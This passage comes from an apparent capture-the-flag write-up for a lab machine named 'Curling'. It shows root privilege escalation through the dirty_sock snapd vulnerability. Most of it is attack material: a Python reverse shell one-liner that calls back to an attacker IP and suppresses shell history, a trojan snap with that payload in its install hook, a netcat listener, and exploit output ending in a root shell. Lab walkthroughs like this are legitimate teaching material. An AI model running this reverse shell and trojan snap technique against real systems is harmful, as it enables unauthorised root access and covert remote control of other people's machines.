python -c "import os;import pty;import socket;vFKTJAVPnDYYHc='10.10.14.16';kKVXHQZGlLwhfd=12345;lBVbuY=socket.socket(socket.AF_INET,socket.SOCK_STREAM);lBVbuY.connect((vFKTJAVPnDYYHc,kKVXHQZGlLwhfd));os.dup2(lBVbuY.fileno(),0);os.dup2(lBVbuY.fileno(),1);os.dup2(lBVbuY.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');lBVbuY.close();"
The target only has python3 installed, let’s not forget to update our payload to reflect that in our payload.
#!/bin/bash
python3 -c "import os;import pty;import socket;vFKTJAVPnDYYHc='10.10.14.16';kKVXHQZGlLwhfd=12345;lBVbuY=socket.socket(socket.AF_INET,socket.SOCK_STREAM);lBVbuY.connect((vFKTJAVPnDYYHc,kKVXHQZGlLwhfd));os.dup2(lBVbuY.fileno(),0);os.dup2(lBVbuY.fileno(),1);os.dup2(lBVbuY.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');lBVbuY.close();"
Then we’ll generate the malicious Snap.
python3 the-other-dirty-sock.py -f callback.sh
══════════════════════════════════════════════
[+] Creating project directory structure @ /tmp/other-dirty-sockz8nue16y
[+] Installing payload @ /tmp/other-dirty-sockz8nue16y/snap/hooks/install
[+] Naming Snap: other-dirty-sockz8nue16y
[+] Built Snap: /tmp/other-dirty-sockz8nue16y/other-dirty-sockz8nue16y_0.1_amd64.snap
[+] modified-dirty_sockv2.py complete!
We’ll need to start a local listener to catch our callback.
nc -nvlp 12345
══════════════
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Ncat: Listening on 0.0.0.0:12345
All that’s left to do is to get the script onto the target. Because I was forced to build my Snaps on my host, I chose to ssh onto the target, and copy/paste the contents of modified-dirty_sockv2.py into vi
. Feel free to get the script to target by any means available.
Once on target, execute the script. In this example, the script fails when trying to delete the Snap. The failure is due to the connection to kali on port 12345.
python3 .ds.py
══════════════
___ _ ____ ___ _ _ ____ ____ ____ _ _
| \ | |__/ | \_/ [__ | | | |_/
|__/ | | \ | | ___ ___] |__| |___ | \_
(version 2)
//=========[]==========================================\\
|| R&D || initstring (@init_string) ||
|| Source || https://github.com/initstring/dirty_sock ||
|| Details || https://initblog.com/2019/dirty-sock ||
\\=========[]==========================================//
[+] Slipped dirty sock on random socket file: /tmp/eyxfrvcupo;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[+] Installing the trojan snap (and sleeping 8 seconds)...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[!] Did not work, here is the API reply:
HTTP/1.1 400 Bad Request
Content-Type: application/json
Date: Sat, 30 Mar 2019 02:03:29 GMT
Content-Length: 198
{"type":"error","status-code":400,"status":"Bad Request","result":{"message":"cannot remove \"other-dirty-sockcw6fneng\": snap \"other-dirty-sockcw6fneng\" has \"install-snap\" change in progress"}}
When we see ‘Installing the trojan snap…’, we also get a callback in our netcat window.
-------------8<-------------
Ncat: Connection from 10.10.10.150.
Ncat: Connection from 10.10.10.150:41912.
root@curling:/# id
id
uid=0(root) gid=0(root) groups=0(root)
\o/ - root access - method three
I hope you enjoyed this write-up or at least found something useful. Drop me a line on Twitter, the HTB forums, or in chat @ NetSec Focus.